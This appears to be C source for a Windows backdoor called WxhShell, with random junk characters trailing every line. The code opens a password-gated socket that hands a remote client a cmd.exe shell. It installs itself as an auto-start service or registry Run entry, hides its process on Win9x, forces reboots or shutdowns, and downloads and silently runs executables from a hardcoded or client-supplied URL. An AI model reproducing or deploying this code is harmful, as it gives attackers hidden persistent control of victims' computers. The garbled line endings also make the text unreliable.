    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7#iT33(3  
    if(Boot(SHUTDOWN)) 4 {3< `  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9 kS;_(DB  
    else { 5[>N[}Ck>  
    closesocket(wsh); G X>T~i\f8  
    ExitThread(0); aOo;~u2-=  
    } tM{U6k  
    break; 55|.MXzq  
    } z`rW2UO#a`  
  // 获取shell s2\6\8Ipn  
  case 's': { lIL{*q(  
    CmdShell(wsh); 6dX l ny1H  
    closesocket(wsh); 4\EvJg@Z.  
    ExitThread(0); I~I$/j]e`  
    break; vE+OL8V  
  } $ *^E  
  // 退出 Q\<^ih51  
  case 'x': { wPU<jAQyp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^5![tTJ  
    CloseIt(wsh); H>2f M^  
    break; qfzT8-Y  
    } T~'9p`IW  
  // 离开 * E3 c--  
  case 'q': { 1f`=U 0  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N8:&v  
    closesocket(wsh); 0NWtu]9QC  
    WSACleanup(); E$8 4c+  
    exit(1); = g)G!  
    break; VpMPTEZ*L  
        } spt='!)4  
  } xd`!z`X!,s  
  } ~_Mz05J-\_  
U1^R+ *yp  
  // 提示信息 B>&eciY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #%i-{t+_>  
} #GHLF  
  } ZXj;ymC'  
: Gz#4k  
  return; t7p`A8&  
} rpT{0 >5  
9v<Sng  
// shell模块句柄 cAE.I$T(  
int CmdShell(SOCKET sock) e r;3TG~  
{ 5CsJghTw  
STARTUPINFO si; IlcFW  
ZeroMemory(&si,sizeof(si)); k98}Jx7J)"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VoJelyzh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; P2Ja*!K]  
PROCESS_INFORMATION ProcessInfo; 1=t\|Th-  
char cmdline[]="cmd"; K>`7f]?H*e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I!;#Nk>  
  return 0; &,Xs=Lv mq  
}  o2ndnIL  
-R;.Md_  
// 自身启动模式 ?_F,HhQ  
int StartFromService(void) 9R"bo*RIS  
{ ZC1U  
typedef struct 7n~BDqT  
{ {Z_Pry$6  
  DWORD ExitStatus; *S.2p*Vd  
  DWORD PebBaseAddress; 66%#$WH#  
  DWORD AffinityMask; kgz2/,  
  DWORD BasePriority; |^ml|cb  
  ULONG UniqueProcessId; URW'*\Xjb  
  ULONG InheritedFromUniqueProcessId; PaEsz$mgy  
}   PROCESS_BASIC_INFORMATION; ,diV;d  
k:w\4Oqd  
PROCNTQSIP NtQueryInformationProcess; Q H%{r4  
AX%9k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; +6!.)Ea=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]*^mT&$7  
J|Lk::Ri  
  HANDLE             hProcess; Qko}rd_M  
  PROCESS_BASIC_INFORMATION pbi; i)0*J?l=  
(*%+!PS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); mLO{~ruu  
  if(NULL == hInst ) return 0; h.QKbbDj  
F,e_`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }@Oy kN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'MM#nQ\(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;1cX|N=  
(0"9562  
  if (!NtQueryInformationProcess) return 0; L `+\M+  
XTyn[n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =? xA*_^  
  if(!hProcess) return 0; 5jg^12EP  
HqU"i Y>b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;G~0 VM2|  
A{;b^ IK  
  CloseHandle(hProcess); LIVVb"V|,  
ha'oLm#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :f^O!^N  
if(hProcess==NULL) return 0; Gn;eh~uw;l  
5in6Y5ckj  
HMODULE hMod; -b(:kAwStk  
char procName[255]; 0pu])[P]_[  
unsigned long cbNeeded; ,_Fq*6  
R6)p4#|i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5D]%E?ag  
cCU'~  
  CloseHandle(hProcess); s iv KXd  
Qkk~{OuC  
if(strstr(procName,"services")) return 1; // 以服务启动 GA6Z{U{XS  
mw`%xID*  
  return 0; // 注册表启动 ,q/K&'0`  
} uHQJ&  
2X)E3V/*  
// 主模块 8{JTR|yB  
int StartWxhshell(LPSTR lpCmdLine) J(M0t~RZ  
{ KE16BjX@  
  SOCKET wsl; eJ%~6c`@!  
BOOL val=TRUE; 3VA8K@QiRm  
  int port=0; p0$K.f| ^  
  struct sockaddr_in door; P}&7G-  
uiE9#G  
  if(wscfg.ws_autoins) Install(); ED"5y  
}PyAmh$@  
port=atoi(lpCmdLine); .K}u`v T  
`Xmf4  
if(port<=0) port=wscfg.ws_port; DD|%F  
~@BV  
  WSADATA data; xHykU;p@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'iMI&?8u  
7x-k-F3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )R9>;CuC9?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5&2=;?EO  
  door.sin_family = AF_INET; dm.?-u;C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t wtGkkC  
  door.sin_port = htons(port); ID'@}69.S  
%'4dg k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pR 1v^m|  
closesocket(wsl); k%NY,(:(  
return 1; vCbqZdy?  
} 1.yw\ZC\  
yW|yZ(7  
  if(listen(wsl,2) == INVALID_SOCKET) { pVt-7 AgW  
closesocket(wsl); bU2)pD!N  
return 1; c !P9`l~MQ  
} #dW$"u   
  Wxhshell(wsl); "Oh-`C  
  WSACleanup(); A>7'W\R  
#5G!lbH  
return 0; .yi.GRk  
`x6 i5mp  
} NO`a2HR$  
b%,5B  
// 以NT服务方式启动 b4ORDU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jW2z3.w  
{ Xd|@w{.m*  
DWORD   status = 0; dldM h T$  
  DWORD   specificError = 0xfffffff; (.%:Q0i1  
G*ym[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kc~Z1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4d0PW#97.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ttZ!P:H2  
  serviceStatus.dwWin32ExitCode     = 0; `j4ukOnG  
  serviceStatus.dwServiceSpecificExitCode = 0; Pm+H!x,  
  serviceStatus.dwCheckPoint       = 0; Eto0>YyZ  
  serviceStatus.dwWaitHint       = 0; s'~_pP  
Lk#u^|Eq7=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lOd[8|/  
  if (hServiceStatusHandle==0) return;  `9S<E  
_k5KJKvr  
status = GetLastError(); Cd|V<BB9  
  if (status!=NO_ERROR) IO^O9IEx,  
{ :8Q6=K87  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6],5X^*Y  
    serviceStatus.dwCheckPoint       = 0; "~d)$]+  
    serviceStatus.dwWaitHint       = 0; uO7Ti]H  
    serviceStatus.dwWin32ExitCode     = status;  9l{r&]  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7OC ,KgJ3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]>R`]U9*O  
    return; TrkoLJmB  
  } wF@qBDxg  
/:yKa=$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; iOki ZN+d>  
  serviceStatus.dwCheckPoint       = 0; 2!]':(8mR  
  serviceStatus.dwWaitHint       = 0; PJA 1/"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &~$^a1D6  
} ?F?!QrL  
& r\z9!   
// 处理NT服务事件,比如:启动、停止 G _42ckLq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T=b5th}  
{ @zd)]O]xH?  
switch(fdwControl) S'6(&"XC H  
{ V-7!)&q  
case SERVICE_CONTROL_STOP: UnW,|n8  
  serviceStatus.dwWin32ExitCode = 0; ^BNg^V.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; TmzEZ<} &7  
  serviceStatus.dwCheckPoint   = 0; LAMTf"a  
  serviceStatus.dwWaitHint     = 0; (U$ F) 7  
  { DJrA@hm/Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _h@e.BtDs  
  } i/)Uj-*G)  
  return; (q:L_zFj>"  
case SERVICE_CONTROL_PAUSE: lD !^MqK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p(U' c}@2  
  break; tgg *6lc  
case SERVICE_CONTROL_CONTINUE: 8#7z5:_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]<z>YyBA  
  break; s)ZL`S?</  
case SERVICE_CONTROL_INTERROGATE: q'c'rN^  
  break; 0%'&s)#  
}; QabF(}61  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6AZ/whn#  
} 6I_W4`<VeZ  
)ALf!E%{  
// 标准应用程序主函数 |3"'>* J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #p=/P{*  
{ M@s2T|bQw  
zy+|)^E  
// 获取操作系统版本 uWi+F)GS^K  
OsIsNt=GetOsVer(); sl/#1B   
GetModuleFileName(NULL,ExeFile,MAX_PATH); DFR.F:O%  
g-Z>1V  
  // 从命令行安装 `sJkOEc`  
  if(strpbrk(lpCmdLine,"iI")) Install(); XY0Gjo0  
f5d"H6%L  
  // 下载执行文件 `C] t2^  
if(wscfg.ws_downexe) { 0Ba-VY.H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7c4\'dt#  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9<\wa/#  
} 9:YiLoz?  
N55;oj_K  
if(!OsIsNt) { p0'A\@|  
// 如果时win9x,隐藏进程并且设置为注册表启动 !cp ,OrO\  
HideProc(); JBi<TDm/  
StartWxhshell(lpCmdLine); "E 8-76n  
} (j}"1  
else <E$5LP;:  
  if(StartFromService()) #N@sJyI N  
  // 以服务方式启动 EiIbp4*e  
  StartServiceCtrlDispatcher(DispatchTable); G~u94rw|:  
else {gK i15t  
  // 普通方式启动 ,j9}VnW)  
  StartWxhshell(lpCmdLine); h_x"/z&  
6D3fkvc Z  
return 0; qK;n>BTe  
} Lgvmk  
& UL(r  
pmIQD"  
9[6xo!  
=========================================== $>8+t>|  
f>-OwL($P  
QZt/Rm>W0  
kJHUaXM  
ak0KrVF  
kM]?  
" 1ciP+->$  
7cY_=X-?Y  
#include <stdio.h> T3%yV*F,  
#include <string.h> 5JIa?i>B  
#include <windows.h> ) dwPD  
#include <winsock2.h> C&Ow*~  
#include <winsvc.h> @M:j~  
#include <urlmon.h> lNls8@  
}4 P@`>e/`  
#pragma comment (lib, "Ws2_32.lib") s1:UCv-%  
#pragma comment (lib, "urlmon.lib") +cQ4u4  
.nKyB'uV  
#define MAX_USER   100 // 最大客户端连接数 b3<<4Vf  
#define BUF_SOCK   200 // sock buffer tiI>iP`!  
#define KEY_BUFF   255 // 输入 buffer tJbOn$]2"  
nPR_:_^  
#define REBOOT     0   // 重启 #B;`T[  
#define SHUTDOWN   1   // 关机 b ]1SuL  
OT{qb!eYI  
#define DEF_PORT   5000 // 监听端口 2AzF@Pi^z  
W>bhSKV%  
#define REG_LEN     16   // 注册表键长度 L8T T54fM  
#define SVC_LEN     80   // NT服务名长度 c^Rz?2x  
:sk7`7v  
// 从dll定义API ('OPW&fRG  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E9!IGci  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 573wK~9oMh  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fw|r{#d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %n=!H  
V-O49  
// wxhshell配置信息 KFCuv15w,3  
struct WSCFG { _ZC4O&fL  
  int ws_port;         // 监听端口 ]cLpLA"  
  char ws_passstr[REG_LEN]; // 口令 t`Mm  
  int ws_autoins;       // 安装标记, 1=yes 0=no \aU^c24>  
  char ws_regname[REG_LEN]; // 注册表键名 toX4kmC  
  char ws_svcname[REG_LEN]; // 服务名 Czid"Ih-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0F0V JE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 eP(%+[g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0r_8/|N#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S%kE<M?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4 (bV#   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &s\$&%|  
`a3q)}*Y  
}; ` {k>I^Pg  
F2AM/m^!q  
// default Wxhshell configuration %R7Q`!@8  
struct WSCFG wscfg={DEF_PORT, j/ #kO?  
    "xuhuanlingzhe", /-8v]nRB  
    1, B[S.6 "/H  
    "Wxhshell", &!N5}N&  
    "Wxhshell", V%<<Udu<  
            "WxhShell Service", agM.-MK  
    "Wrsky Windows CmdShell Service", ?*9U d  
    "Please Input Your Password: ", c<y.Y0  
  1, NQ'^ z  
  "http://www.wrsky.com/wxhshell.exe", ]BO{Q+?d2  
  "Wxhshell.exe" (=QaAn,,R  
    }; {iYu x;(  
b+OLmd  
// 消息定义模块 qaA\.h7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6@]Xwq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f"k?Ix\ e  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; t TA6 p  
char *msg_ws_ext="\n\rExit."; l(v$+  
char *msg_ws_end="\n\rQuit."; GH7{_@pv8  
char *msg_ws_boot="\n\rReboot..."; 83412@&  
char *msg_ws_poff="\n\rShutdown..."; $Y,,e3R3  
char *msg_ws_down="\n\rSave to "; @1*lmFq'kV  
h:z;b;  
char *msg_ws_err="\n\rErr!"; ,au64sH  
char *msg_ws_ok="\n\rOK!"; 7. G   
kZU8s'C  
char ExeFile[MAX_PATH]; >m:.5][yu  
int nUser = 0; E&{*{u4  
HANDLE handles[MAX_USER]; p0qQ(  
int OsIsNt; c72Oy+#  
Dr6Br<yi  
SERVICE_STATUS       serviceStatus; $\81WsL '  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1.p?P] .  
~H@':Mms.h  
// 函数声明 Rb#Z'1D'G  
int Install(void); _8 vxb  
int Uninstall(void); ]N!SG@X+  
int DownloadFile(char *sURL, SOCKET wsh); >:W)9o  
int Boot(int flag); i_`YZ7Hxp  
void HideProc(void); smIZ:L %  
int GetOsVer(void); a}i{b2B  
int Wxhshell(SOCKET wsl); ~<v{CBq[  
void TalkWithClient(void *cs); u\t[rC=yd  
int CmdShell(SOCKET sock); s.=)p"pTd  
int StartFromService(void); z9w@-])  
int StartWxhshell(LPSTR lpCmdLine); puZ<cV e/  
"'t<R}t!A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4TwU0N+>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gW/H#T,  
*9j9=N?  
// 数据结构和表定义 Xuh_bW&zF  
SERVICE_TABLE_ENTRY DispatchTable[] = ?=r!b{9  
{ aCGPtA'  
{wscfg.ws_svcname, NTServiceMain}, ;jX_e(T3m  
{NULL, NULL} M?[lpH3  
}; o&(%:|  
)@R:$l86  
// 自我安装 "MoV*U2s,  
int Install(void) .8b 4  
{ Z"Et]xSU%$  
  char svExeFile[MAX_PATH]; }s}9@kl;&  
  HKEY key; 1 _5[5K^  
  strcpy(svExeFile,ExeFile); Wv=L_E_  
2i,Jnv=sR  
// 如果是win9x系统,修改注册表设为自启动 et9 c<'  
if(!OsIsNt) { yA%[ u.{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7DOAG[gH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sv0kksj  
  RegCloseKey(key); {GHGFi`Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )B}]0`z:P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `&pb`P<`  
  RegCloseKey(key); ,ypxy/  
  return 0; h(G&X9*  
    } QRdb~f;<hj  
  } + s[(CI.b  
} t8?+yG;  
else { g^0  
3>L1}zyM]  
// 如果是NT以上系统,安装为系统服务 Jt)<RMQ^R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wV5<sH__  
if (schSCManager!=0) 3J(STIxg  
{ ][?GJ"O+U  
  SC_HANDLE schService = CreateService o,aI<5"  
  ( HH+rib'u  
  schSCManager, i^QcW!X&  
  wscfg.ws_svcname, &Q&$J )0  
  wscfg.ws_svcdisp, JBoo7a1  
  SERVICE_ALL_ACCESS, IloHU6h'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }:jXl!:V  
  SERVICE_AUTO_START, Wq,UxMz  
  SERVICE_ERROR_NORMAL, Mm/GI a  
  svExeFile, ||!k 3t#<  
  NULL, ait/|a  
  NULL, GbL,k? ey  
  NULL, 'fVk1Qj^  
  NULL, 5@v!wms  
  NULL ~&yaIuW<  
  ); ]\_4r)cN<n  
  if (schService!=0) IF1?/D"<  
  { aqyXxJS8  
  CloseServiceHandle(schService); a(J~:wgd  
  CloseServiceHandle(schSCManager); A$5!]+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); LXK+WB/s  
  strcat(svExeFile,wscfg.ws_svcname); 99ZQlX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dvXu?F55  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W0nRUAo[  
  RegCloseKey(key); HX=`kkX  
  return 0; 54'z"S:W  
    } t;4{l`dk  
  } i^gzl_!  
  CloseServiceHandle(schSCManager); !D6@\  
} $Z;0/\r%  
}  UnO -?  
)?_c7 R  
return 1; YHAy+S  
} tZ6KU11O  
( E0be.  
// 自我卸载 A!j&g(Z"Q  
int Uninstall(void) YL{LdM-xM  
{ f-23.]`v  
  HKEY key; _y8)jD"  
k|g~xmI;  
if(!OsIsNt) { W{0<ro`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3N<FG.6  
  RegDeleteValue(key,wscfg.ws_regname); PVU(R J  
  RegCloseKey(key); N 2x\O~7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hZyz5aZ)K  
  RegDeleteValue(key,wscfg.ws_regname); U`:$1*(`  
  RegCloseKey(key); HZM&QZHx)`  
  return 0; RE*SdazY?  
  } (A ?e}M^}  
} T"dEa-O  
} fc&4e:Ve  
else { hDfsqSK0 /  
QRa>W/N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @y}1%{,%  
if (schSCManager!=0)  C9*'.~  
{ 3g} ]nj:N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *xt3mv/<z  
  if (schService!=0) oU{m\r  
  { \]o#tYN\a0  
  if(DeleteService(schService)!=0) { K72U0}$B  
  CloseServiceHandle(schService); nKV1F0-  
  CloseServiceHandle(schSCManager);  @4H*kA  
  return 0; {HQ?  
  } 3VKArv-  
  CloseServiceHandle(schService); _ea!psA0  
  } IEO5QV:u:  
  CloseServiceHandle(schSCManager); ]JtK)9  
} 3;#v$F8R  
} ?mrG^TV^+r  
}}K4 4<]u  
return 1;  :3u>%  
} Rl-Sr  
qifX7AXHr  
// 从指定url下载文件 `2U zJ~  
int DownloadFile(char *sURL, SOCKET wsh) lS9rgq<n  
{ $I+QyKO9k  
  HRESULT hr; YW0UIO  
char seps[]= "/";  s y#CR4X  
char *token; IU/dY`J1  
char *file; F}.<x5I-;h  
char myURL[MAX_PATH]; .J'}qkz~  
char myFILE[MAX_PATH]; L)J0T Sh  
jj.iW@m  
strcpy(myURL,sURL); =K}5 fe  
  token=strtok(myURL,seps); 8 <EE4y  
  while(token!=NULL) EO3?Dev  
  { (wnkdI{  
    file=token; )<t5' +d%  
  token=strtok(NULL,seps); 9:IVSD&"Rf  
  } ?nCG:\&;'=  
Tf<1Z{9  
GetCurrentDirectory(MAX_PATH,myFILE); U,~\}$<I  
strcat(myFILE, "\\"); X^eTf-*T  
strcat(myFILE, file); oaM $<  
  send(wsh,myFILE,strlen(myFILE),0); J9zSBsp_  
send(wsh,"...",3,0); 9v8{JaI3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "i(k8+i K  
  if(hr==S_OK) 6ix8P;;}#  
return 0; ehV`@ss  
else "VRcR  
return 1; 4(f[Z9 iZ]  
w =^QIr%  
} g VplBF7{  
C%9;~S  
// 系统电源模块 ~q5"'  
int Boot(int flag) |^[]Oy=  
{ cLEBcTx  
  HANDLE hToken; 540-lMe  
  TOKEN_PRIVILEGES tkp; 9,sj,A1  
=c"`>Vi@d  
  if(OsIsNt) { rzsb(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3pl/k T.\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s{4|eYR  
    tkp.PrivilegeCount = 1; & gnE"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YIvJN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uQ=p } w  
if(flag==REBOOT) { O KVIl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3Un q 9  
  return 0; s`B]+  
} ]d=SkOq  
else { tpwMy:<Ex  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BT.;l I  
  return 0; D6=Z%h\*  
} rlEEf/m:  
  } =i O K($  
  else { q|;_G#4  
if(flag==REBOOT) { yV,ki^^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UE3(L ^  
  return 0; tpOMKh.`  
} *$~H=4t  
else { +P:xB0Tm D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jT}3Zn  
  return 0; KCu@5`p  
} \x P$m|Y3  
} rf^ Q%ds  
i`U:uwW`  
return 1; r2M Iw  
} EhL 8rR  
~47Bbom  
// win9x进程隐藏模块 eM Ym@~4  
void HideProc(void) |h$*z9bsf  
{ ^}7iouE C  
lO3W:,3_a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;T0F1  
  if ( hKernel != NULL ) o=@ 0Bd8  
  { 2[6>h)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {G$I|<MD2T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _ZX"gH x  
    FreeLibrary(hKernel); })RT2zw}  
  } ^L#\z7  
R1OC7q  
return; 5mxHOtvtWM  
} 2NHuZ.af  
6$c,#%Jt*  
// 获取操作系统版本 Mwp[?#1j  
int GetOsVer(void) \9k$pC+l  
{ GPlAQk  
  OSVERSIONINFO winfo; &U q++f6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jyQ Bx  
  GetVersionEx(&winfo); <q|IP_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2r;^OWwr?  
  return 1; \)Jv4U\;  
  else D lz||==  
  return 0; /xf4*zr  
} !9|)v7}  
tKg\qbY&  
// 客户端句柄模块 Y8!T4dkn  
int Wxhshell(SOCKET wsl) 6!P];3&o\A  
{ tk3%0XZH  
  SOCKET wsh; 3S='/^l  
  struct sockaddr_in client; ~um+r],@@  
  DWORD myID; L$zI_ z  
\bAsn89O  
  while(nUser<MAX_USER) jCdKau&9  
{ 9Br2}!Ny  
  int nSize=sizeof(client); \%\b* OO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DC S$d1  
  if(wsh==INVALID_SOCKET) return 1; Ij; =  
lOp/kGmn+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w6tb vhcmU  
if(handles[nUser]==0) +SCUS]  
  closesocket(wsh); tMGkm8y-A  
else <jd S0YT  
  nUser++; aIaydu+\  
  } UJ' +Z6d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); A6w/X`([O  
VU,\OOp  
  return 0; %-"?  
} <()xO(  
3$f%{~3  
// 关闭 socket \ZrLh,6f.  
void CloseIt(SOCKET wsh) ( 8+_~_  
{ xo{f"8}^  
closesocket(wsh); dIv/.x/V  
nUser--; i[FcY2  
ExitThread(0); %8iA0t+  
} pNpj, H*4  
Sd'Meebu  
// 客户端请求句柄 2,|*KN*e`W  
void TalkWithClient(void *cs) :@g@jcbYq`  
{ 0@a6r=`el  
rC]jz$sle  
  SOCKET wsh=(SOCKET)cs; &8t?OpB =h  
  char pwd[SVC_LEN]; .K^'Q|?  
  char cmd[KEY_BUFF]; =DTn9}u  
char chr[1]; GEP YSp  
int i,j; }{/4sll  
|E @Gsw  
  while (nUser < MAX_USER) { b!hxx Z  
.UbmU^y|  
if(wscfg.ws_passstr) { qS{lay  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /1++ 8=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }|f\'S   
  //ZeroMemory(pwd,KEY_BUFF); [ d<|Cde  
      i=0; >VP\@xt(R[  
  while(i<SVC_LEN) { YlOYgr^  
ri~dWx  
  // 设置超时 a AYO(;3  
  fd_set FdRead; {neE(0c  
  struct timeval TimeOut; q p|T,D%  
  FD_ZERO(&FdRead); XboOvdt^|  
  FD_SET(wsh,&FdRead); "Gcr1$xG8!  
  TimeOut.tv_sec=8; Zx25H"5j  
  TimeOut.tv_usec=0; Q"8)'dL'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bf3LNV|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Bt,qG1>$-  
fT._Os?i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Szi4M&!K  
  pwd=chr[0]; `ZN@L<I6  
  if(chr[0]==0xd || chr[0]==0xa) { DLyHC=%{+h  
  pwd=0; 6N.mSnp  
  break; uW;Uq=UN  
  } 3leg,q d  
  i++; k_V1x0sZ  
    } `(;d+fof  
v Xio1hu  
  // 如果是非法用户,关闭 socket 23+6u{   
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <t]c'  
} O~d!* A  
2 T{PIJg3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EN.yU!N.4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &\sg~  
] >ipC,v  
while(1) { hv*n";V   
DJ} xD&G  
  ZeroMemory(cmd,KEY_BUFF); *-+~H1tP  
;~~Oc  
      // 自动支持客户端 telnet标准   9ciL<'H\  
  j=0;  +KFK..  
  while(j<KEY_BUFF) { k`)LO`))  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U YUIpe  
  cmd[j]=chr[0]; >jl"Yr#  
  if(chr[0]==0xa || chr[0]==0xd) { 2l5@gDk5  
  cmd[j]=0; q*{"6"4(  
  break; Zy*}C,Z  
  } }WI24|`zM  
  j++; WS(@KN  
    } =5Q;quKu^5  
gK)B3dH*&  
  // 下载文件 :Yz.Bfli  
  if(strstr(cmd,"http://")) { MiRH i<g0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SVq7qc9K?  
  if(DownloadFile(cmd,wsh)) qWE"vI22M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =j;o, J:(  
  else \ vJ*3H6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K&|zWpb  
  } `}Q;2 F  
